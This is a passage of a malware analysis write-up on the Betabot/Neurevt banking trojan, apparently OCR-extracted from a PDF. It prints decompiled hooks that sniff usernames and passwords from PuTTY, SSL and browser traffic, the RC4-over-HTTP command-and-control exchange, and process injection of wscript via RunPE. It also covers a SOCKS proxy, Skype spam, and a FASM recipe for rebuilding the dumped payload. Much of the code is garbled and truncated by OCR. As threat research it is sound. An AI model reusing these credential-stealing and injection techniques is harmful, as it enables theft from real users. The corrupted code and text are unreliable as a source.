((unsigned __ int8)

v3 = &savedUsername;

avedUse
ImportTableRegular.TlsSetValue(tlsAllocations[29], 18);

%trcpy_s_prﬂhahly{i?, al, v3)

t = (int (__cdecl *)(int))globalHookArray.field C;
( globalHookArray.field C )

result (int (_ cdecl *)(int))}resul

Data being saved temporally
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wvoid _ usercall processPuttyStatus( BYTE *sshMsgTypefi<eax>)
{
wchar_t *username; edi
wchar_t *v3; eax
wchar_t *pw; ebx
unsigned _ intl6 port; =i
char hostname[32]; [esp+18h] [ebp-3
__intle v7; [esp+38h] [ebp-18h] BYR
int vB[3]; [esp+32h] [ebp-16h]
wchar_t *vo; [esp+d4@h] [ebp-8h]
int vie; [esp+ddh] [ebp-4h] BYREF

8h] BYREF

vi@d = 1/
vle = 16;
if [ sshMsgType &8 *sshMsgType )
1

if { !ImportTableRegular.lstrcompiA(sshMsgType, "SSH2_MSG_KEXINIT"} )

ImportTableRegular.TlsSetValue(tlsAllocations[9], &);

]

f { !ImportTableRegular.lstrcmpiA(sshMsgType, "SSH2_MSG_DISCONMNECT™) )

ImportTableRegular.TlsSetValue(tlsAllocations[9], 2);

5 ]
i { ImportTableRegular.lstrcmpiA(sshMsgType, "SSH2 MSG USERAUTH SUCCESS™)

eturn;
ImportTableRegular.TlsSetValue(tlsAllocations[9], @);

if { (unsigned int)(strlen(&savedUsername)} - 1} > @x3F )
1

username = w9;

vl = (wchar_t *)}ImportTableRegular.TlsGetValue(tlsAllocations[8]);
username = bbAtoW(&savedUsername);
w3 = bbAtoW(savedPassword);

W o= v3;

F { lusername }

if (pw)
bbFree_(pw);

w7 = 2;

ImportTableRegular.getpeername( (SOCKET }v9, (sockaddr *)&v7, &vle);
memset(hostname, 8, sizeof(hostname));

port = ImportTableRegular.ntohs(vE[@]);

bbInet_ntoa(hostname, *(in_addr *}((char *)vd + 2));
savePuttylog(l, hostname, port, username, pw);

if { username )
bbFree_(username};

ata finally being queued for sending via IPC to main process in savePuttyLog for sending to
the C2 server
There are also hooks for NtDeviceloControl, PR_Write, EncryptMessage and SSL_Write.




The hook for NtDeviceloControl is extremely fascinating, it is designed to intercept

operations to the AFD device to filter unencrypted traffic directly. Major filtered operations are

AFD_CONNECT where the hostname is checked against Betabots’ internal blacklist, and
AFD_SEND where the buffer is scanned and sniffed for passwords. This is also where the
mysterious strings “neurevt” comes into play (=

&snifferCtx);

1pu:bu‘ + ;E};

leRegular.n (
ameFiltered((u

ocations[3], 1

ocations[3], @);

As we can see, it searches each packet inside the AFD_SEND request for usernames and
passwords to log, but then curiously also performs another operation where it checks
whether the string “windowsupdate” or “neurevt” is inside the buffer. If so, it forces the
connection to be disconnected. Unfortunately however, we do not know where the string
came from. Searches of intelligence feeds yielded no results, and there is no indicator as to
whether this is a competing malware variant or something else entirely. No mentions of
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neurevt can be found that is not from an analysis where the malware is referred to by the
alias. If anyone from back then knew what this string is, please DM me on twitter, | would
love to hear the behind-the-scenes of this.

The hook for SSL_Write and EncryptMessage is fairly simple, both call the
searchForPasswordAndUsername routine to find usernames and passwords in ports for
protocols like FTP, SMTP, SMTPS, etc.

int _ cdecl hook SSL_Write(int al, _BYTE *a2, unsigned int a3)
i

LPVOID v3; eax

int result; eax

if ( ensureNoNestedCallByTLS() 82 a2 &R a3 - 7 <= 8x78 )

{
v3 = ImportTableRegular.TlsGetValue(tlsAllocations[&]);
searchForPasswordAndUsername( (int)wv3, &SnifferCtx, a2, a3, 1);

if ( globalHookArray.field C & globalHockArray.field C != -3878 )
result = ((int (__cdecl *){int, _BYTE *, unsigned int))(globalHookArray.field_C + 3878))(al, a2, a3);
result = -1;

n result; |

int _ stdcall searchForPasswordAndUsername(int afdHandle, BbSnifferCtx *snifferCtx, char *string, unsigned int stringlen, int a5)

__intle port; [esp+Ch] [ebp-14h]

int a3; [esp+18h] [ebp-18h]

int retval; [esp+14h] [ebp-Ch]

unsigned int maxlenmaybe; [esp+18h] [ebp-8h]
unsigned int maxlenmaybea; [esp+18h] [ebp-8h]

retval = 8;

|| stringlen < 7 || stringlen >= @x3@

f ( !afdHandle }

F { !snifferCtx || snifferCtx->size != 484 )
t = getConnectionPort(afdHandle);
( !port !

( port !=
port I=
port !
port !
port !
port !

a3

ImportTableRegular.EnterCriticalSection(&criticalSectionUnknown);

if ( snifferCtx->snifferStatus < 4 && afdHandle != snifferCtx->activeHandle )
clearSnifferContext(snifferCtx);

if ( snifferCtx-»>snifferStatus == 4




maxlenmaybe = stringlen - 4;
if ( !isAllCharsGreaterThanSpace(st’ing_en - 2, string} )

if ( max1 lenmay
maxlenmay Le = 137;
strcpy_s_probably(TaxlenTa;be, string + 5, snifferCtx->sniffedUsername);
nullTerminateStringOutOfAsciiRange(snifferCtx->sniffedUsername);
if ( strlen(snifferCtx->sniffedUsername) <= stringlen )}

snifferCtx->snifferstatus = 1;
snifferCix->activeHandle = afdHandle;
snifferCtx-ractivePort = port;

1)

|| string[1] != || string[2] !=

maxlenmaybea =
if ( 15A1lCharsGreaterThanSpaceu::’ing_en - 2, string} )
{
if ( max lenmaybea »= @x3@ )
maxlenmay Lea = ;
strcpy_s_| probablj-1a> enmaybea, string + 5, snifferCix-»sniffedPassword);
nullTermlnateStrlngDuthAsc11Rangeu;n_"E'Lt>—>3n1ffedPa33“c d);
snifferCtx->snifferstatus = 2;
snifferCtx-ractivePort = port;
sub_2591EC8(afdHandle, (int)snifferCtx, a3);
clearsnifferContext(snifferCtx);
retval = 1;

Likewise, PR_Write just tries to parse the HTTP data for credentials.

int _ cdecl hookPR_MWrite(int a2, PCSTR buffer, int size)

1

int result; eax

if ( buffer
&8 size >= 7
&% ImportTableRegular.StrCmpNIA(buffer,
&8 ImportTableRegular.StrCmpNIA(buffer,
&8 size »= 32 )

1

formgrabParseHttpData((unsigned _ int8 *)buffer, size, ( WORD *)2);

if ( globalHookArray.field C &% globalHookArray.field C != -2814 )
result = ((int (_ cdecl *)(int, PCSTR, int))(globalHookArray.field C + 2814))(a2, buffer, size);

result = -1;
irn result;

Lastly in this group, there are hooks for Chrome. Here there are two variants of hooks — one
intercepting SSL_Write (which is located via scanning for the VMT), and the other
intercepting IPC via hooking NtReadFile. The SSL_Write hook is similar in practice to the
hook for Firefox.

int _ cdecl hookChromeSSL_MWrite(int al, int data, int size)

int result; eax
int {_ cdecl *v4)(int, int, int); [esp+@h] [ebp-4h]

formgrabparsthtpDatan|un31gned int8 *)data, size, 3);
(int (_ cdecl *)(int, int, 1nf))getchromeSSL _WriteOriginal(@x36u, (int)&globalHookArray);

v4(al, data, size);




The other hook for NtReadFile tries to find interesting strings inside the IPC buffer (namely
POST/post and HTTP/http), and tries to extract usernames and passwords out of the buffer if
this is found.

int _ stdcall hookNtReadFileChrome(int al, int a2, int a3, int a4, int a5, int a6, unsigned int a7, int a8, int a9)
1

int vo; ebx

char *v18; edi

unsigned imt v11;

int v12; eax

unsigned int v13;

unsigned int v14;

unsigned int v15;

_BYTE *v16; ebx

unsigned imt v17;

int vl18; eax

char *v19; edi

char *v28; eax

char *v21; esi

int result; eax

char *ala; [esp+d4h] [ebp-18h]

_BYTE *string; [esp+Bh] [ebp-14h] BYREF

unsigned imt v25; [esp+Ch] [ebp-18h] BYREF

int w26; [esp+1@h] [ebp-Ch]

unsigned int v27; [esp+14h] [ebp-8h] BYREF

_BYTE *v28; [esp+18h] [ebp-4h] BYREF

198 &R (dynamicCTX-»generalFlag & 2) == @ )

patternSearch pattern_POST, (char *)a6, 6u, @x64u);
v26 » 7 || (v26 = patternSearch(pattern_post, (char *)as, 6u

v3 = patternSearch(pattern_http, (char *)a6, 6u, 8x38u);
f{wve>& || (v9 = patternsearch(pattern_HTTP, ucha' *}ab, Bu

> v26 + 6 )

(char *)bbMalloc(@x88lu};

vl =
vi1@;

The final notableetail of Betabot’s hooking subsystem is its blocking of MBR bootkit
installation via hooking NtOpenFile — file operations on the physical drive without going
through the filesystem are prohibited.

MACRO_STATUS _ stdcall hookFilterFileName(int al, char desiredAccess, PUNICODE_STRING fileObject)
{

wchar_t *stril; esi

unsigned int v4; eax

_WORD *str2; edx

int v6; edi

int v7; eax

MACRO_STATUS result;

eObject )
t->Buffer;
v4 = wstrlen(fileObject-»Buffer);
3 = reglstr;Ke;Blockllst

V7 = NStFlEnlFEngtF]KE]BlDCkllSt)
f ( bbStrContains(strl, vé, ::’2, w7

if ( (dynamlcCTX >generalFlag & '= @ 8% (desiredAccess & 6) != @ && isStringDrhveNtPath(‘ilerjec:—>Buffer) )
esult = -




__usercall isStringDriveNtPat

f { !ImportTableRegular rCmph "\\Device\\Harc ar on™, stringlLen)

|| ':-EI'I = """:_'tr"lr-_-n.: -

Termination of older versions of the bot

Betabot finds and kills threads belonging to older versions of itself by checking the TLS slots
belonging to threads inside its own process.
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threadHandle;
'threadHandle )
soto LABEL 42;

eRegular.NtQueryInformationThread(
(int)threadHandle,

&threadInfo,
28,
8v18) < @
|| !'threadInfo.TebBaseAddress

bbOpenProcess (currentPidl);

B Sl
!bbNtReadVirtualmemory (&sizeReadOut, processHandle, (int)threadInfo.TebBaseAddress, (int)teb,
|| sizeReadOut < @xF98 )

; (unsigned int)*tls
F { (unsigned int
f7 »= Bx7F F

'bbNtReadVirtualmemory(&sizeReadOut, processHandle, v7, (int)dest, 144)
LOWORD(dest[@]} != 144

HIWORD(dest[@
dest[1] » 9999u
'dest[31]

(unsigned int)(dest[33

mem = {(char *)bbRealloc(mem, size);
if ( !mem }

ﬁemcpy(&TET[&>§J * vll++], dest, @x98u};

+vl2;

if ( processHandle != (HANDLE)}-1 )
ImportTableRegular.CloseHandle(processHandle);

- ImportTableRegular.CloseHandle (v19);

memset (&threadEntry, @, sizeof(threadEntry});
threadEntry.dwSize = 28;




int  stdcall findOldBetabotThreadsAndTerminate(int al, DWORD *al)
1

int v3;

HANDLE w4;

int v5; BCx

int ve; [esp+Ch] [ebp-Ch] BYREF

int v7; [esp+1@h] [ebp-8h] BYREF

int va8; [esp+lah] [ebp-4h]

ul
—

F( *(_WORD *){

vd = bbOpenThread(*( DWORD *)(v

le { *(_WORD *)v3 != *{_WORD *}(al + 2 * w5} )

if ( (unsigned int)++vs >= 4 )

e

EthSuspendThread(vi);
if { bbTerminateThread((int)v4) )
+vi 3

ImportTableRegular.CloseHandle(wv4);

Communication cycle and protocol

Betabot’s protocol is binary-over-HTTP. RC4 is used for encryption. First, the URL is
generated from the config, and then a random parameter is appended.




randSuffix = bbRand() ¥ 7;
if ( 'url_out )

sturn @;

memset({url out, 8, @xledu});

if ( internetInfo-»structc5.gate_path[8] != )
strcpy_s_probably(-1, "/", url_out);

bbWstrcat({26@, internetInfo-»structc5.gate path, url out);

if { (unsigned int)strlen{url out} < @xF4 && randSuffix > 2 )

1
randval = bbRand();
if ( randsuffix == 3 )

wsprintfCat(({void *)ex183, url_out, "?pid=%d", randval ¥ Bx3E8 + 1);

if { randsuffix == 4 )

wsprintfCat((void *)8x183, url out, "?page=¥d", (randval & @x7F) + 1};

wsprintfCat({void *)ex183, url_out, "?id=%u", randval ¥ @x98967F);

Then, depending on the stage of its lifecycle, Betabot chooses a type of request to perform,
and depending on the specific requests, some streams might be added.

( internetInfo-:field @.requestType )

bbWstrcpy(259, dynamicCTX-»modulelongNamel, buf618@);
bblstrepy( username, bufcls@ + 528);

bbWstrepy( &defaultBrowser, bufe

bbWstropy( processorNamestring, bufélse
bbWstrcpy( displayDevice_cmpvmware, bu
bbWstrcpy(259, productIDW, bufelde + 13ea);
reportStringCount = 6;

oreaKy

if ( !'*(_DWORD *)internetInfo-»>field @.gap24 )

fo, &ad);

3 = checkForAvailableInfoblobs(), (*(_DWORD *)&internetInfo->field @.gap2[6] = v3) != @) )

a6 = buildinfoBlob(internetInfo, w3, (int)&a4, &v15, &v19, 1);
if ( a6 )
*(_DWORD *)&internetInfo->field @.gap2[1e] = v19;

After the information streams are built, the generic request is constructed.




= ImportTableRegular.PathFindFileNamel(dynamicCTX->modulelongName) ;
|| !success || *success != 292 || !procName )

bWideCharToMultiByteAlloc(prociame_};

procName = @;
memset(dest, @, sizeof(dest));
memset(CFRegKeys, @, sizeof(CFRegKeys));
b< = bbReadPseudorandomValueD%DRD-seedStrlngUnk 8, "BK32");
bbReadPseudorandomValueDWORD (seedStringunk,
= bbReadPseudorandomValueDWORD (seedStringUnk,
bbReadPseudorandomValueDWORD ( seedStringUnk,
bbReadPseudorandomvalueDWORD ( seedStringunk,
¥ bbReadPseudorandomValueDWORD (seedStringUnk,
I-Reale-a[ ] = bbReadPseudorandomValueDWORD (seedStringlnk,
getTlmeInformation(&cu”entTiTe);
dest[0] =
ImportTableRegular EnterCriticalSection((LPCRITICAL SECTION)dword_25BDEDC);
memcpy(dest, &word 25BDEF8, sizeof(dest));
ImportTableRegular.LeaveCriticalSection( (LPCRITICAL_SECTION)dword_25BDEDC);
memset(report, @, sizeof(BB_REPORT_UNK));
if { (bbBotAttribute &
&& bbReadPseudorandomValueDWORD(seedStringUnk,

( (bbBotAttribute &
&& bbReadPseudorandomValueDWORD(seedStringUnk,
bbBotAttribute |=
;' { (bbBotAttribute &
&& bbReadPseudorandomValueDWORD(seedStringUnk, (BOO
bbBotAttribute |=

;; { (bbBotAttribute &
&% bbReadPseudorandomValueDWORD(seedStringUnk,

1
bbBotAttribute |=

report-»>size = @x124;

report-xmagic =

report->botVer = @xB pl;

report->header_crc32 = 0SVerFlag ™ (bbBotAttribute + bk);
ve = a2-»field_@.field ?B

t-»stringsCount
->exdatakey =
report-rbotkillstats = bk;
LOWORD(bk) = dest[2];
report->reqType = a3;
report-»socksPortAleMachineId = bk;
i (_DWORD *)&a2[1].field @.field @ == 1 )

report-rosVerfFlag = 0sverFlag;
t->botAttribute = bbBotAttribute;

port-rosVerfFlag = bbRand() & @x1
-rbotAttribute = bbRand() & @x3




Attribute = bbRand() & Bx3

dynamicCTX->1

nort-rstringBotGroupName) ) ;

It encrypts and formats this data and then finally sends the request to the server. If a
response is available, it tries to receive it and then parse it.
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:espcnseDa:a = (BB_RESPONSE_STRUCT *)bbMallocStr(@x
if { responseData )

v12 = v27;
f ( !ImportTableRegular.InternetReadFile(
internetInfo->hHttpRequest,
(char *)responseData + isPatched,
w27

)&v30)

isPatched += v38;
if ( isPatched >= (unsigned int)(v29 - 28493) )

v29 *= 2;

onseData = (BB_RESPONSE_STRUCT *)bbRealloclMore((wvoid *)w29, (int)responseData);
( !responseData )

<3

:e;pcn;eta:a = (BB_RESPONSE_STRUCT *)bbRealloclMore((void *)v29, (int)responseData);
while ( responseData );
if ( (unsigned int)isPatched >= @x6D )

Rc4CryptWrapper(responselata, &internetInfo-»structc5.gapbA[82]);

if ( responseData-»size == 108 )

= handleServerResponse(&internetInfo->field_ @8, responseData, isPatched);

EbFree_('e;pcn;eEa:a);

First, the response’s disposition value is checked and if it is set to
BB_DISPOSITION_UNINSTALL, the bot uninstalls itself. This might be of particular interest
to those who want to write tools to terminate Betabot, since simply executing the function will
be enough to disable the bot permanently (<.

cmdCount = v3;

if { isPatched < (unsigned int}(v3 + 4) }
memcpy (&isPatched, &::isPatched, sizeof(isPatched));
getSetlastCommunicationTime();
lockLock(&dynamicCTX->unknownLock) ;

if ( !sub 258C2AC(*( DWORD *)&arge[2].gap24[52]) )

=EL ~
if ( arg®->hasTaskReport == 1 )
clearTaskReport();
if ( isPatched )
eturn 1;
decryptServerResponse(serverResponse, &argB[2].gap24[15], v
status = serverResponse->statusCode;

if ( status 83 )

eturn @;
¢ = dynamicCTX;
if ( (dynamicCTX-»>flagSelf & @xses) != @ )
urn 1;
f { serverResponse->size == 188 &% serverResponse->disposition ==

commandUninstall(®, @, @);
dctx = dynamicCTX;




Then, it processes and propagates the new general flags, minor flags, and custom flags via
its windows-based IPC mechanism. It also tries to kill old betabot versions if told to do so by
the C2 server.

customFlag

bbGeneralFlag erverResponse->generalOpts;

if ( bbGeneralFlag != dctx->generalFlag )

{
unknownIPCPropagateMessage(bbGeneralFlag, Ox
if ( SLOBYTE(serverResponse->generalOpts) »=

bbWritePseudorandomRegKey (seedStringlnk,

isPatched = 1;

bbWritePseudorandomRegKey(seedStringUnk, "NUK", &isPatched, 4);
if ( (serverResponse->generalOpts &

setDefaultBrowserTolE();
if ( (serverResponse->generalOpts &
{

if ( !deviceNotificationWindowHandle }

{

vl2 = createLocalThreadStealth(threadUsbSpreader, @, @,
if ( viz )

\ImportTableRegular.ClcseHandle(hiz);

else if ( eventARUsbSpreader )

ImportTableRegular.ResetEvent(eventARUsbhSpreader);

minorOpts = serverResponse-:minorOpts;

if { (minorOpts &
serverResponse->minorOpts = minorOpts

minorOpt = serverResponse->minorOpts;

if { minorOpt != generalFlagMinor )

unknownIPCPropagateMessage (minorOpt, @
if { (serverResponse-:minorOpts & Yy I=0
&% (currentEntryPoint == entrypoint_unknownl || currentEntryPoint == entrypointRunPeMaybe)

{

disablelavaAndIEUpdate();

( (serverResponse->minorOpts &
AddToProcessInjectBlacklist(L"svchost.exe™, @, 1};
(serverResponse-»minorOpts &

if { currentEntryPoint == entrypoint_unknownl || currentEntryPoint == entrypointRunPeMaybe )

{

SetACLAllowForPersistentModule();
PersistenceSetFolderToCLSID (dynamicCTX->moduleDir);
setupModuleselfACL();

SetACLAllowForPersistentModule();
removeDesktopIniInDir (dynamicCTX->modulelir);
setupModuleSelfACL();

customOpts = serverResponse->customlpts;

if { customOpts != customFlag )
unknownIPCPropagateMessage(customOpts, @xF }, 38

findAndkilloldBetabotThreads(&isPatched, 1, (BE_GENERAL_

It then saves these values to the registry.




_InterlockedExchange( (volati i *y&dynamicCTX
_Interls Exchang ati i J&dynamicCTX
_InterlockedExchange((volatile _ in &dynamicCT)

Stringunk, @,

ngUnk, "RIA", &v43,
2

Thn, commands are processed. The structure of the commands are already described in
two previous writeups on VB, so | will focus on the higher level details here:

For each command, first, the command ID is retrieved from a table by hashing the command
string.
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lint __userpurge getCommandIdByHash@<eax>({ DWORD *failuref@<ebx>, BYTE *commandString)
1

unsigned int 1i; esi

int result; eax

int * shifted({CommandInfo,@xC) shCommand; [esp+Ch] [ebp-4h]

e
=¥
!

! commandString )

*commandString == )
+Hcommandstring;
shCommand = &commandHandlerTable[@].command5trlLen;
shile ( !doesCommandHandlerEntryMatchByHash(i, commandString)

|| strlen(commandString) != ADJ(shCommand)->commandStrien )

shCommand += 4;
if { +H+i >= 8x1F )

*failure = @;
result = commandHandlerTable[1i].commandIdMaybe;

i

1
%

bool _ userpurge doesCommandHandlerEntryMatchByHashi@<al>»(unsigned int indexf<eax>, _BYTE *commandName)

1
int len; Eax
char strFormatted[128]; [esp+4h] [ebp-88h] BYREF

! commandName }

return 8;

f { strlen(commandName) < 1 )
return 8;

F { index > @x1F )
return 8;

memset(strFormatted, @, sizeof(strF

if ( !bbwvnsprintfA(strFformatted, "cmd_option.¥%s™, commandName) )

eturn 8;
len = strlen(strFormatted);
~eturn commandHandlerTable[index].hashMaybe == commandHash(strFormatted, len);




, int len)

ed int ha 3
ed int hash;
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After that, the command ID is use to find out how to parse the parameters, and then finally
the handler inside the table is called.

Finally, after all the commands are processed, the configuration streams are saved to the
registry and updated in-memory. Interestingly, the stream CF07 has no identified uses and
seems to be reserved for future functionalities (that likely will never arrive).
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6, (int)w27, wv4l[e] - 1) )

rverResponse->dnslistVer);

EhFPEE{t

sub_258AFB9(({int)serverR

SET

d“HEHHflETHRHbl stry("C
bbFree(y :

Interesting commands

Most of the commands are self-explanatory and as such | will not discuss them in detail. The
first interesting command that people would likely notice is “Botscript”. What exactly is a
botscript? Does Betabot have an embedded scripting engine? As it turns out, this is not the
case. Botscript is simply the developers name for injecting wscript into another process using
RunPE and then using that to execute a script.
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Translated sales thread describing Botscript
Botscript operations run inside a new thread with index 3.

_ stdcall commandBotScript(int al, int a2, int a3)

edi
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ImportTableRegular.
ImportTableRegular.

ImportTable
ImportTableRegular.
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ImportTableRegular.PathAppendi
1
i

if ( avPath[@] &% FileExists(avPath) )

bbWstrcpy(26@, avPath, procName);
ve = buffer;

v13 = null string;
if { bbWwnsprintfW @{ala, 26@,

bbwstrcpy(‘.-, v2g,
vl4 = buffer;
thstrcpy(L'

j.processName prochame ;

j.commandLine EVEH

j.payloadBufSize = a4 + 21@52;

j.flags = 58;

j.payloadBuf = hHeap;

j.maybeContext = buffer;

j.dwordlC = 1112;

.callback = (int (_ stdcall *){int, mapperInternalInfo
status = bbDefaultInjector(&inj);
= status;

if ( GetSystemDirWows40rSys32(prociame, @xFAu) )

*, int))injectionCallbackBotscript;

E *)buffer + 68) || bbWriteFile(v2

ImportTableRegular. Pathippendw( rocName, L"wscript.exe");

LOWORD (dest[12]) =
dest[0] = 68;
if { !ImportTableRegular.CreateProcessH(
procName,
ala,
a,
a,
8,
4@,
a,
8,
(LPSTARTUPINFOW)dest,
(LPPROCESS_INFORMATION)v24) )

= buffer;

}
bbFree(hHeap);
bbFree(vl4);

memset (filePath ipt, @, sizeof(filePathWscript));
memset (&procInfoOut, @, sizeof(procInfoOut});

memset (&mappedSection, @, sizeof(mappedSection});
memset (a6, @, sizeof(a6));

memset (&injectStruct, @, sizeof(injectStruct));

v28 = mapperInfolnternal->maybeContext;

u25 = (void *})mapperInfoInternal->bufWritten;

f { al == (void *)4 )

baseAddr = mapperInfoInternal->threadContext. be + 8;

GetSystemDirWows40rSys32(filePathu 'f"p-
ImportTableRegular PathAppendn (il

6, a3, ai):l J

if ( !manualMapFile(filePathWscript, mapper In—:In er na_—>pr0chandle, &mappedSection, &remoteEntryPoint) )

if ( (dword QSBQQEB & 3) !

injectStruct.size = 1
injectStruct.remoteEp

ar]

remoteEnt




= 8;

i ctStruct.flagEntrypointChoice
if ( injectAltEntryPointNormal(@, &injectStruct, &procInfolut, 7, @, &a6) )

= -258;

mapperInfoInternal->callbackStatus
vi3 = 8;
ImportTableRegular.GetProcessId(mapperInfoInternal->prochandle);
bbOpenEventFromSeedInt{v4, w19);
F (V5 )
ImportTableRegular.DuplicateHandle ((HANDLE)-1, v5, mapperInfolnternal-»prochandle, @, @, @, 2);
(w33 I=1)

got L_43;
= (HANDLE }mapperInfolnternal-rstartAddr;

-H
fixupShellcodeUnk(&size, a6.start, remoteEntryPoint, (int)vé);

The other interesting feature is support for running a SOCKS proxy server. The server config

v32

is parsed and then started in a new thread.

!'sockConfig

if ( eventsss7 )
WORD *)&sockConfig->flags & 1) != @ || sockConfig->sockBindPort )
*(_WORD *)&sockConfig->flags & 4) == @ || sockConfig->username[@] )

WORD *)&sockConfig-»flags & 2) != @ && sockConfig-»secondsToRunSocks < 8xleu )

bbstrcpy (" Time limit is too short™, al);
errorLog(sockConfig-»>somethingErrorLog, 2, @);

result = 5;

( (*{_WORD *)&sockConfig-»>flags & 4) != @
strlen(sockConfig-rusername) == 1
g-rusername[@] == )

SoCkLO

*(_WORD *)&sockConfig-»flags &= @
( (*{_WORD *)&sockConfig-»flags & 1
sockConfig-»sockBindPort = getSockBindPort();
hHeap = dupBuffer{@x6@u, sockConfig, @x66u);
if ( hHeap )
ImportTableRegular.ResetEvent( (HANDLE jeventSS67);
threadid = @;
v6 = createlocalThreadStealth(
socksServerThread,
(int)hHeap,

Ty

&threadid,
_'.j);

sockConfig-rsockServerTid = threadid;

sockUnknown (sockConfig);
ImportTableRegular.CloseHandle(vE);

result = 8;

bbFree{hHeap);
errorLog(sockConfig-»somethingErrorLog, 2, @);

-:g—>scwethlng5"0’_cg, Ay J);




Outside of attempting to port forward using COM'’s functionalities, it is a fairly bog standard
proxy server.

int v6;
IUPnPHA

CurrentMachineIPV4

|| !'coMInitializeIUPnPNA

Ttem(

An interesting detail is that the VB analysis considers the two following commands to be
handlers for Skype spamming operations.
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Spam through Skype

The malware uses Skype to spread any text material received from the bot server. There are two bot commands that will invoke
the spreading job.

dd
dd offset SkypeOperation
dd

dd
dd offset SkypeOperation
dd

Figure 16. Bot commands involving Skype.

The bot server sends the command along with a URL parameter pointing to a text file. Each line of the text file contains a locale-
message pair which is delimited by a semicolon:

{locale name};{spam content}

The malware chooses one line according to the locale of the system’s default language and sends the message in the line to all
the Skype contacts except ‘echo123’, which is the name of Skype’s echo service.

To send the message, the malware creates a new process of itself with the command line parameters set to ‘/ssp {URL sent by
bot server}. The new process sets up a communication between itself and the Skype client with the Skype API. Then it starts to
send Skype commands.

The first command sentis ‘SEARCH FRIENDS', which retrieves all the contacts of the logged-in user. For each contact, a
‘MESSAGE’ command will be sent to the Skype client to generate an IM message to send the chosen spam content.

Interestingly, the handler for the hash 30A2060Dh currently seems to point to the same
handler as the hash for the command “sys”, which is essentially just the shellexecute
operation. The reason for this is unknown and | do not know what the original value before
hashing might be. The handler for the hash 6EE4094Dh is no longer present.

Another thing you might notice is that a lot of commands are pointing to null handlers and are
entirely missing. Unfortunately, these are now lost to time.

Inaccuracy in past public research

While looking at some past materials on Betabot, | noticed some inaccuracies by other
reverse engineers. For example, this post by CyberReason claims that the following code is
used for anti-debugging reasons.

Another trick used to determine if the environment is virtual is to obtain a handle to \\Device\\HarddiskO\\Partition and \\??
\WPHYSICALDRIVEQ. This is usually done to calculate the size of the hard drive:

if ( a1 )
¢ u2 = sub_342B0D(L"\\Device\\Harddisk8\\Partition"});

ri.;“l(”;u;_g;lzﬂﬂn(ﬂ‘j < (unsigned int)(uv2 + &) )

if ( *(=(int (__stdcall #=)(int, int, int))&byte_39947C[260])(a1, vi, u2)
11 (vs = sub_342BOD(L"\\?7Z\\PHYSICALDRIVED"),
t{=(int (__stdcall ==){int, int, int))&byte_39947C[260])(a1, v5, ul)) )

, result = 13
else
i result = @3

https://www.cybereason.com/blog/betabot-banking-trojan-neurevt
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The code snippet above, when fully annotated, is as follows.

300L _ usercall isStringDriveNtPathfi<eax>( WORD *stringfi<edi>)

stringlen)

ESULTy

This is then used as part of the hooking/filtering mechanism for NtCreateFile/NtOpenFile
APls and is not used for anti-debugging reasons as suggested by CyberReason, but rather
as a defensive feature as stated in the section on hooking.

An even bigger inaccuracy is in this post by Talos where they analyze a binary they consider
Neurevt. They claim that “the dropped payload ends up in a benign location of the filesystem
and runs, thereby elevating its privilege by stealing service token information”. Problem is,
the binary they disassembled is not Neurevt at all, and none of the screenshot shown
belongs to Neurevt. The claim that this is a “new version of the Neurevt” appears entirely
false to me — Neurevt has been abandoned by the author since 2016 and this is unlikely to
change any time soon. As for how this misconception came to be — it looks like multiple
binaries are dropped and the reverse engineer mixed them up, as the last request shown
that contains logout.php is indeed a Betabot knock request and the drop path
(C:\ProgramData\Google Updater 2.09\q99ig1gy1.exe) is indeed betabot-like, however other
than that none of the details described in the post matches Betabot.

When publishing public information, reverse engineers should strive to verify their findings to
avoid unintentionally disseminating inaccurate information.

Appendix

The IDC and sample for analysis will be uploaded within the next few days. Be warned that
the IDA database is NOT CLEAN, while it has enough information to give a solid overview of
the malware, | have not had the time to tidy it up in its entirety, as such it is not up to my
usual standards. There is around 15% of the binary left that is unlabelled, and there are
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some portions of the binary that is more clearly seen by simply looking at the code than at
my description — as such, it is highly encouraged that readers toy around with Betabot and

see for themselves.

FASM for making a fake PE file out of the dumped payload:

real_addr = 2560000h
real_ep = 259848Bh

format PE GUI at (real_addr - 1000h)
entry section_begin + real_ep - real_addr

section '.text' code readable writable executable
section_begin:
file 'bbdumpOx2560000.bin'

List of registry key seeds and their identified meanings (some are previously identified in the

original VB analysis):

utw = uac trick worked
UTWS = shim elevation
UTWIEF = ifeo reg trick
AVKR = av kill ran

BK32 = botkill run count

BIS = bot came from spreading
LCT = last communication time
BID = bot installation date
LSF = general flag

LMSF = general flag minor

LCSF = custom flags

LISF = infoblob flags

CFO1 = cfg_versions_config

CFO2 = cfg_versions_dns_blocklist
CFO3 = cfg_versions_url_tracklist
CFO4 = cfg_versions_filesearch
CFO5 = cfg_versions_plugins

CF06 = cfg_versions_web

CFO7 = unknown config, not used anywhere
PNR1 = persistence restore count
ECRC = crash count

ECC1 - access violation

ECC2 - privileged instruction
ECC3 - illegal instruction

ECC4 - stack overflow

ECC5 - in page error

Partial listing of significant enums and structures used by the bot
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enum BB_AV_INSTALLED

{
BB_AV_INSTALLED_NORTON = 1,
BB_AV_INSTALLED_KAV =
BB_AV_INSTALLED_AVG =
BB_AV_INSTALLED_AVIRA 8,
BB_AV_INSTALLED_ESET = 16,
BB_AV_INSTALLED_MCAFEE = 32,
BB_AV_INSTALLED_TRENDMICRO = 64,
BB_AV_INSTALLED_AVAST = 128,
BB_AV_INSTALLED_MS_ESSENTIALS = 256,
BB_AV_INSTALLED_BITDEFENDER = 512,
BB_AV_INSTALLED_BULLGUARD = 1024,
BB_AV_INSTALLED_RISING = 2048,
BB_AV_INSTALLED_ARCAVIR = 4096,
BB_AV_INSTALLED_WEBROOT = 8192,
BB_AV_INSTALLED_EMSISOFT = 16384,
BB_AV_INSTALLED_FSECURE = 32768,
BB_AV_INSTALLED_PANDA = 65536,
BB_AV_INSTALLED_PCTOOLS = 131072,
BB_AV_INSTALLED_GDATA = 262144,
BB_AV_INSTALLED_ZONEALARM = 524288,
BB_AV_INSTALLED_BKAV = 1048576,
BB_AV_INSTALLED_GBUSTER = 2097152,
BB_AV_INSTALLED_DRWEB = 4194304,
BB_AV_INSTALLED_SOPHOS_ENDPOINT = 8388608,
BB_AV_INSTALLED_COMODO = 16777216,
BB_AV_INSTALLED_AHNLAB_FREE = 33554432,
BB_AV_INSTALLED_BAIDU_FREE = 67108864,
BB_AV_INSTALLED_MALWAREBYTES_PRO = 134217728,

i

2,
4,

/* 620 */

enum BB_CURRENT_PROCESS_FLAGS

{
BB_CURRENT_PROCESS_FLAGS_EXPLORER = 0x1,
BB_CURRENT_PROCESS_FLAGS_BROWSER = 0x2,
